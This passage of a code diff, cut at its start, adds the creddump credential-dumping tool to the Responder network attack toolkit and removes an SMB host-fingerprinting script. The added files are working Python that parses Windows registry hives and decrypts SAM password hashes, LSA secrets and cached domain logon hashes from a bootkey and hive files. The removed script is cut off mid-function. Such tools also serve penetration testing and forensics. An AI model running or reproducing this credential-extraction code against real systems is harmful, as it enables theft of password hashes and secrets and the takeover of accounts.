+        if current_type == 'array':
+            current_type = member_dict[current_member][1][2][0]
+            if current_type in builtin_types:
+                current_type_size = builtin_size(current_type)
+            else:
+                current_type_size = obj_size(types, current_type)
+            index = member_list.pop()
+            offset += index * current_type_size
+            continue
+            
+        elif not types.has_key(current_type):
+            raise Exception('Invalid type ' + current_type)
+        
+        member_dict = types[current_type][1]
+        
+        current_member = member_list.pop()
+        if not member_dict.has_key(current_member):
+            raise Exception('Invalid member %s in type %s' % (current_member, current_type))
+
+        offset += member_dict[current_member][0]
+
+        current_type = member_dict[current_member][1][0]
+
+    return (offset, current_type)
+
+
+def read_obj(addr_space, types, member_list, vaddr):
+    """
+    Read the low-level value for some complex type's member.
+    The type must have members.
+    """
+    if len(member_list) < 2:
+        raise Exception('Invalid type/member ' + str(member_list))
+    
+
+    
+    (offset, current_type) = get_obj_offset(types, member_list)
+    return read_value(addr_space, current_type, vaddr + offset)

tools/MultiRelay/creddump/framework/types.py

@@ -0,0 +1,63 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+regtypes = {
+  '_CM_KEY_VALUE' : [ 0x18, {
+    'Signature' : [ 0x0, ['unsigned short']],
+    'NameLength' : [ 0x2, ['unsigned short']],
+    'DataLength' : [ 0x4, ['unsigned long']],
+    'Data' : [ 0x8, ['unsigned long']],
+    'Type' : [ 0xc, ['unsigned long']],
+    'Flags' : [ 0x10, ['unsigned short']],
+    'Spare' : [ 0x12, ['unsigned short']],
+    'Name' : [ 0x14, ['array', 1, ['unsigned short']]],
+} ],
+  '_CM_KEY_NODE' : [ 0x50, {
+    'Signature' : [ 0x0, ['unsigned short']],
+    'Flags' : [ 0x2, ['unsigned short']],
+    'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']],
+    'Spare' : [ 0xc, ['unsigned long']],
+    'Parent' : [ 0x10, ['unsigned long']],
+    'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]],
+    'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]],
+    'ValueList' : [ 0x24, ['_CHILD_LIST']],
+    'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']],
+    'Security' : [ 0x2c, ['unsigned long']],
+    'Class' : [ 0x30, ['unsigned long']],
+    'MaxNameLen' : [ 0x34, ['unsigned long']],
+    'MaxClassLen' : [ 0x38, ['unsigned long']],
+    'MaxValueNameLen' : [ 0x3c, ['unsigned long']],
+    'MaxValueDataLen' : [ 0x40, ['unsigned long']],
+    'WorkVar' : [ 0x44, ['unsigned long']],
+    'NameLength' : [ 0x48, ['unsigned short']],
+    'ClassLength' : [ 0x4a, ['unsigned short']],
+    'Name' : [ 0x4c, ['array', 1, ['unsigned short']]],
+} ],
+  '_CM_KEY_INDEX' : [ 0x8, {
+    'Signature' : [ 0x0, ['unsigned short']],
+    'Count' : [ 0x2, ['unsigned short']],
+    'List' : [ 0x4, ['array', 1, ['unsigned long']]],
+} ],
+  '_CHILD_LIST' : [ 0x8, {
+    'Count' : [ 0x0, ['unsigned long']],
+    'List' : [ 0x4, ['unsigned long']],
+} ],
+}

tools/MultiRelay/creddump/framework/win32/domcachedump.py

@@ -0,0 +1,117 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.win32.rawreg import *
+from framework.addrspace import HiveFileAddressSpace
+#from framework.win32.hashdump import get_bootkey
+from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
+from Crypto.Hash import HMAC
+from Crypto.Cipher import ARC4
+from struct import unpack
+
+def get_nlkm(secaddr, lsakey):
+    return get_secret_by_name(secaddr, 'NL$KM', lsakey)
+
+def decrypt_hash(edata, nlkm, ch):
+    hmac_md5 = HMAC.new(nlkm,ch)
+    rc4key = hmac_md5.digest()
+
+    rc4 = ARC4.new(rc4key)
+    data = rc4.encrypt(edata)
+    return data
+
+def parse_cache_entry(cache_data):
+    (uname_len, domain_len) = unpack("<HH", cache_data[:4])
+    (domain_name_len,) = unpack("<H", cache_data[60:62])
+    ch = cache_data[64:80]
+    enc_data = cache_data[96:]
+    return (uname_len, domain_len, domain_name_len, enc_data, ch) 
+
+def parse_decrypted_cache(dec_data, uname_len,
+        domain_len, domain_name_len):
+    uname_off = 72
+    pad = 2 * ( ( uname_len / 2 ) % 2 )
+    domain_off = uname_off + uname_len + pad
+    pad = 2 * ( ( domain_len / 2 ) % 2 )
+    domain_name_off = domain_off + domain_len + pad
+
+    hash = dec_data[:0x10]
+    username = dec_data[uname_off:uname_off+uname_len]
+    username = username.decode('utf-16-le')
+    domain = dec_data[domain_off:domain_off+domain_len]
+    domain = domain.decode('utf-16-le')
+    domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]
+    domain_name = domain_name.decode('utf-16-le')
+
+    return (username, domain, domain_name, hash)
+
+def dump_hashes(Key, secaddr):
+    bootkey = Key
+    if not bootkey:
+        return []
+
+    lsakey = get_lsa_key(secaddr, bootkey)
+    if not lsakey:
+        return []
+
+    nlkm = get_nlkm(secaddr, lsakey)
+    if not nlkm:
+        return []
+
+    root = get_root(secaddr)
+    if not root:
+        return []
+
+    cache = open_key(root, ["Cache"])
+    if not cache:
+        return []
+
+    hashes = []
+    for v in values(cache):
+        if v.Name == "NL$Control": continue
+        
+        data = v.space.read(v.Data.value, v.DataLength.value)
+
+        (uname_len, domain_len, domain_name_len, 
+            enc_data, ch) = parse_cache_entry(data)
+        
+        # Skip if nothing in this cache entry
+        if uname_len == 0:
+            continue
+
+        dec_data = decrypt_hash(enc_data, nlkm, ch)
+
+        (username, domain, domain_name,
+            hash) = parse_decrypted_cache(dec_data, uname_len,
+                    domain_len, domain_name_len)
+
+        hashes.append((username, domain, domain_name, hash))
+
+    return hashes 
+
+def dump_file_hashes(Key, sechive_fname):
+    sysaddr = Key
+    secaddr = HiveFileAddressSpace(sechive_fname)
+
+    for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr):
+        print "%s:%s:%s:%s" % (u.lower(), hash.encode('hex'),
+                               d.lower(), dn.lower())
+

tools/MultiRelay/creddump/framework/win32/hashdump.py

@@ -0,0 +1,220 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.win32.rawreg import *
+from framework.addrspace import HiveFileAddressSpace
+try:
+    from Crypto.Hash import MD5
+    from Crypto.Cipher import ARC4,DES
+except ImportError:
+    pass
+from struct import unpack,pack
+
+odd_parity = [
+  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
+  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
+  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
+  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
+  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
+  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
+  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
+  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
+  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
+  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
+  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
+  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
+  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
+  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
+  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
+  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
+]
+
+# Permutation matrix for boot key
+p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
+      0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ]
+
+# Constants for SAM decrypt algorithm
+aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+anum = "0123456789012345678901234567890123456789\0"
+antpassword = "NTPASSWORD\0"
+almpassword = "LMPASSWORD\0"
+
+empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex')
+empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex')
+
+def str_to_key(s):
+    key = []
+    key.append( ord(s[0])>>1 )
+    key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) )
+    key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) )
+    key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) )
+    key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) )
+    key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) )
+    key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) )
+    key.append( ord(s[6])&0x7F )
+    for i in range(8):
+        key[i] = (key[i]<<1)
+        key[i] = odd_parity[key[i]]
+    return "".join(chr(k) for k in key)
+
+def sid_to_key(sid):
+    s1 = ""
+    s1 += chr(sid & 0xFF)
+    s1 += chr((sid>>8) & 0xFF)
+    s1 += chr((sid>>16) & 0xFF)
+    s1 += chr((sid>>24) & 0xFF)
+    s1 += s1[0];
+    s1 += s1[1];
+    s1 += s1[2];
+    s2 = s1[3] + s1[0] + s1[1] + s1[2]
+    s2 += s2[0] + s2[1] + s2[2]
+
+    return str_to_key(s1),str_to_key(s2)
+    
+def find_control_set(sysaddr):
+    root = get_root(sysaddr)
+    if not root:
+        return 1
+
+    csselect = open_key(root, ["Select"])
+    if not csselect:
+        return 1
+
+    for v in values(csselect):
+        if v.Name == "Current": return v.Data.value
+
+def get_hbootkey(samaddr, bootkey):
+    sam_account_path = ["SAM", "Domains", "Account"]
+
+    root = get_root(samaddr)
+    if not root: return None
+
+    sam_account_key = open_key(root, sam_account_path)
+    if not sam_account_key: return None
+
+    F = None
+    for v in values(sam_account_key):
+        if v.Name == 'F':
+            F = samaddr.read(v.Data.value, v.DataLength.value)
+    if not F: return None
+
+    md5 = MD5.new()
+    md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
+    rc4_key = md5.digest()
+
+    rc4 = ARC4.new(rc4_key)
+    hbootkey = rc4.encrypt(F[0x80:0xA0])
+    
+    return hbootkey
+
+def get_user_keys(samaddr):
+    user_key_path = ["SAM", "Domains", "Account", "Users"]
+
+    root = get_root(samaddr)
+    if not root: return []
+
+    user_key = open_key(root, user_key_path)
+    if not user_key: return []
+
+    return [k for k in subkeys(user_key) if k.Name != "Names"]
+
+def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
+    (des_k1,des_k2) = sid_to_key(rid)
+    d1 = DES.new(des_k1, DES.MODE_ECB)
+    d2 = DES.new(des_k2, DES.MODE_ECB)
+
+    md5 = MD5.new()
+    md5.update(hbootkey[:0x10] + pack("<L",rid) + lmntstr)
+    rc4_key = md5.digest()
+    rc4 = ARC4.new(rc4_key)
+    obfkey = rc4.encrypt(enc_hash)
+    hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
+
+    return hash
+
+def decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey):
+    # LM Hash
+    if enc_lm_hash:
+        lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
+    else:
+        lmhash = ""
+    
+    # NT Hash
+    if enc_nt_hash:
+        nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
+    else:
+        nthash = ""
+
+    return lmhash,nthash
+
+def get_user_hashes(user_key, hbootkey):
+    samaddr = user_key.space
+    rid = int(user_key.Name, 16)
+    V = None
+    for v in values(user_key):
+        if v.Name == 'V':
+            V = samaddr.read(v.Data.value, v.DataLength.value)
+    if not V: return None
+
+    hash_offset = unpack("<L", V[0x9c:0x9c+4])[0] + 0xCC
+
+    lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
+    nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
+
+    enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+    enc_nt_hash = V[hash_offset+(24 if lm_exists else 8):hash_offset+(24 if lm_exists else 8)+16] if nt_exists else ""
+
+    return decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey)
+
+def get_user_name(user_key):
+    samaddr = user_key.space
+    V = None
+    for v in values(user_key):
+        if v.Name == 'V':
+            V = samaddr.read(v.Data.value, v.DataLength.value)
+    if not V: return None
+
+    name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
+    name_length = unpack("<L", V[0x10:0x14])[0]
+
+    username = V[name_offset:name_offset+name_length].decode('utf-16-le')
+    return username
+
+def dump_hashes(Key, samaddr):
+    bootkey = Key
+    hbootkey = get_hbootkey(samaddr,bootkey)
+    Output = ""
+    for user in get_user_keys(samaddr):
+        lmhash,nthash = get_user_hashes(user,hbootkey)
+        if not lmhash: lmhash = empty_lm
+        if not nthash: nthash = empty_nt
+        hashes = "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16),
+                            lmhash.encode('hex'), nthash.encode('hex'))
+        hashesdump = "%s:%d:%s:%s:::\n" % (get_user_name(user), int(user.Name,16),
+                            lmhash.encode('hex'), nthash.encode('hex'))
+        print hashes
+        Output += hashesdump
+    return Output
+
+def dump_file_hashes(Key, samhive_fname):
+    samaddr = HiveFileAddressSpace(samhive_fname)
+    Output = dump_hashes(Key, samaddr)
+    return Output

tools/MultiRelay/creddump/framework/win32/lsasecrets.py

@@ -0,0 +1,137 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.win32.rawreg import *
+from framework.addrspace import HiveFileAddressSpace
+#from framework.win32.hashdump import get_bootkey,str_to_key
+from Crypto.Hash import MD5
+from Crypto.Cipher import ARC4,DES
+
+def get_lsa_key(secaddr, bootkey):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
+    if not enc_reg_key:
+        exit(1)
+        return None
+
+    enc_reg_value = enc_reg_key.ValueList.List[0]
+    if not enc_reg_value:
+        return None
+
+    obf_lsa_key = secaddr.read(enc_reg_value.Data.value,
+            enc_reg_value.DataLength.value)
+    if not obf_lsa_key:
+        return None
+
+    md5 = MD5.new()
+    md5.update(bootkey)
+    for i in range(1000):
+        md5.update(obf_lsa_key[60:76])
+    rc4key = md5.digest()
+
+    rc4 = ARC4.new(rc4key)
+    lsa_key = rc4.decrypt(obf_lsa_key[12:60])
+
+    return lsa_key[0x10:0x20]
+
+def decrypt_secret(secret, key):
+    """Python implementation of SystemFunction005.
+
+    Decrypts a block of data with DES using given key.
+    Note that key can be longer than 7 bytes."""
+    decrypted_data = ''
+    j = 0   # key index
+    for i in range(0,len(secret),8):
+        enc_block = secret[i:i+8]
+        block_key = key[j:j+7]
+        des_key = str_to_key(block_key)
+
+        des = DES.new(des_key, DES.MODE_ECB)
+        decrypted_data += des.decrypt(enc_block)
+        
+        j += 7
+        if len(key[j:j+7]) < 7:
+            j = len(key[j:j+7])
+
+    (dec_data_len,) = unpack("<L", decrypted_data[:4])
+    return decrypted_data[8:8+dec_data_len]
+
+def get_secret_by_name(secaddr, name, lsakey):
+    root = get_root(secaddr)
+    if not root:
+        return None
+    
+    enc_secret_key = open_key(root, ["Policy", "Secrets", name, "CurrVal"])
+    if not enc_secret_key:
+        return None
+
+    enc_secret_value = enc_secret_key.ValueList.List[0]
+    if not enc_secret_value:
+        return None
+
+    enc_secret = secaddr.read(enc_secret_value.Data.value,
+            enc_secret_value.DataLength.value)
+    if not enc_secret:
+        return None
+
+    return decrypt_secret(enc_secret[0xC:], lsakey)
+
+def get_secrets(Key, secaddr):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    bootkey = Key
+    lsakey = get_lsa_key(secaddr, bootkey)
+
+    secrets_key = open_key(root, ["Policy", "Secrets"])
+    if not secrets_key:
+        print "no secret"
+        return None
+    
+    secrets = {}
+    for key in subkeys(secrets_key):
+        sec_val_key = open_key(key, ["CurrVal"])
+        if not sec_val_key:
+            continue
+        
+        enc_secret_value = sec_val_key.ValueList.List[0]
+        if not enc_secret_value:
+            continue
+        
+        enc_secret = secaddr.read(enc_secret_value.Data.value,
+                enc_secret_value.DataLength.value)
+        if not enc_secret:
+            continue
+
+        secret = decrypt_secret(enc_secret[0xC:], lsakey)
+        secrets[key.Name] = secret
+
+    return secrets
+
+def get_file_secrets(Key, secfile):
+    secaddr = HiveFileAddressSpace(secfile)
+
+    return get_secrets(Key, secaddr)
+

tools/MultiRelay/creddump/framework/win32/rawreg.py

@@ -0,0 +1,73 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.newobj import Obj,Pointer
+from struct import unpack
+
+ROOT_INDEX = 0x20
+LH_SIG = unpack("<H","lh")[0]
+LF_SIG = unpack("<H","lf")[0]
+RI_SIG = unpack("<H","ri")[0]
+
+def get_root(address_space):
+    return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
+
+def open_key(root, key):
+    if key == []:
+        return root
+    
+    keyname = key.pop(0)
+    for s in subkeys(root):
+        if s.Name.upper() == keyname.upper():
+            return open_key(s, key)
+    print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
+    return None
+
+def subkeys(key,stable=True):
+    if stable: k = 0
+    else: k = 1
+    sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value
+    sub_list = []
+    if (sk.Signature.value == LH_SIG or
+            sk.Signature.value == LF_SIG):
+        sub_list = sk.List
+    elif sk.Signature.value == RI_SIG:
+        lfs = []
+        for i in range(sk.Count.value):
+            off,tp = sk.get_offset(['List', i])
+            lfs.append(Pointer("pointer", sk.address+off, sk.space,
+                ["_CM_KEY_INDEX"]))
+        for lf in lfs:
+            sub_list += lf.List
+
+    for s in sub_list:
+        if s.is_valid() and s.Signature.value == 27502:
+            yield s.value
+
+def values(key):
+    for v in key.ValueList.List:
+        yield v.value
+
+def walk(root):
+    for k in subkeys(root):
+        yield k
+        for j in walk(k):
+            yield j

tools/MultiRelay/creddump/lsadump.py

@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import sys
+from framework.win32.lsasecrets import get_file_secrets
+
+# Hex dump code from
+# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
+
+FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
+
+def dump(src, length=8):
+    N=0; result=''
+    while src:
+       s,src = src[:length],src[length:]
+       hexa = ' '.join(["%02X"%ord(x) for x in s])
+       s = s.translate(FILTER)
+       result += "%04X   %-*s   %s\n" % (N, length*3, hexa, s)
+       N+=length
+    return result
+
+if len(sys.argv) < 3:
+    print "usage: %s Bootkey <security hive>" % sys.argv[0]
+    sys.exit(1)
+
+secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2])
+if not secrets:
+    print "Unable to read LSA secrets. Perhaps you provided invalid hive files?"
+    sys.exit(1)
+
+for k in secrets:
+    print k
+    print dump(secrets[k], length=16)
+

tools/MultiRelay/creddump/pwdump.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import sys
+from framework.win32.hashdump import dump_file_hashes
+
+if len(sys.argv) < 3:
+    print "usage: %s bootkey SAM_File" % sys.argv[0]
+    sys.exit(1)
+
+dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])

tools/RelayHTTPSMB/Finger.py

@@ -1,225 +0,0 @@
-#!/usr/bin/env python
-# This file is part of Responder, a network take-over set of tools 
-# created and maintained by Laurent Gaffie.
-# email: laurent.gaffie@gmail.com
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import re,sys,socket,struct
-from socket import *
-from odict import OrderedDict
-
-__version__ = "0.3"
-Timeout = 0.5
-class Packet():
-    fields = OrderedDict([
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto",      "\xff\x53\x4d\x42"),
-        ("cmd",        "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1",      "\x00"),
-        ("flag2",      "\x00\x00"),
-        ("pidhigh",    "\x00\x00"),
-        ("signature",  "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved",   "\x00\x00"),
-        ("tid",        "\x00\x00"),
-        ("pid",        "\x00\x00"),
-        ("uid",        "\x00\x00"),
-        ("mid",        "\x00\x00"),
-    ])
-
-class SMBNego(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x00"),
-        ("Bcc", "\x62\x00"),
-        ("Data", "")
-    ])
-    
-    def calculate(self):
-        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("BuffType","\x02"),
-        ("Dialect", "NT LM 0.12\x00"),
-    ])
-
-
-class SMBSessionFingerData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x0c"),
-        ("AndXCommand", "\xff"),
-        ("reserved","\x00" ),
-        ("andxoffset", "\x00\x00"),
-        ("maxbuff","\x04\x11"),
-        ("maxmpx", "\x32\x00"),
-        ("vcnum","\x00\x00"),
-        ("sessionkey", "\x00\x00\x00\x00"),
-        ("securitybloblength","\x4a\x00"),
-        ("reserved2","\x00\x00\x00\x00"),
-        ("capabilities", "\xd4\x00\x00\xa0"),
-        ("bcc1",""),
-        ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
-
-    ])
-    def calculate(self):
-        self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
-
-##Now Lanman
-class SMBHeaderLanMan(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1", "\x08"),
-        ("flag2", "\x01\xc8"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x3c\x1b"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNegoDataLanMan(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x00"),
-        ("Bcc", "\x54\x00"),
-        ("BuffType","\x02"),
-        ("Dialect", "NT LM 0.12\x00"),
-
-    ])
-    def calculate(self):
-        CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
-        self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
-
-#####################
-
-def atod(a): 
-    return struct.unpack("!L",inet_aton(a))[0]
-
-def dtoa(d): 
-    return inet_ntoa(struct.pack("!L", d))
-
-def OsNameClientVersion(data):
-	try:
-		length = struct.unpack('<H',data[43:45])[0]
-		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
-		return OsVersion, ClientVersion
-
-	except:
-	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
-
-def GetHostnameAndDomainName(data):
-	try:
-		DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
-		return Hostname, DomainJoined
-	except:
-	 	return "Could not get Hostname.", "Could not get Domain joined"
-
-def DomainGrab(Host):
-    s = socket(AF_INET, SOCK_STREAM)
-    try:
-       s.settimeout(Timeout)
-       s.connect(Host)
-    except:
-       print "Host down or port close, skipping"
-       pass
-    try:
-       h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
-       n = SMBNegoDataLanMan()
-       n.calculate()
-       packet0 = str(h)+str(n)
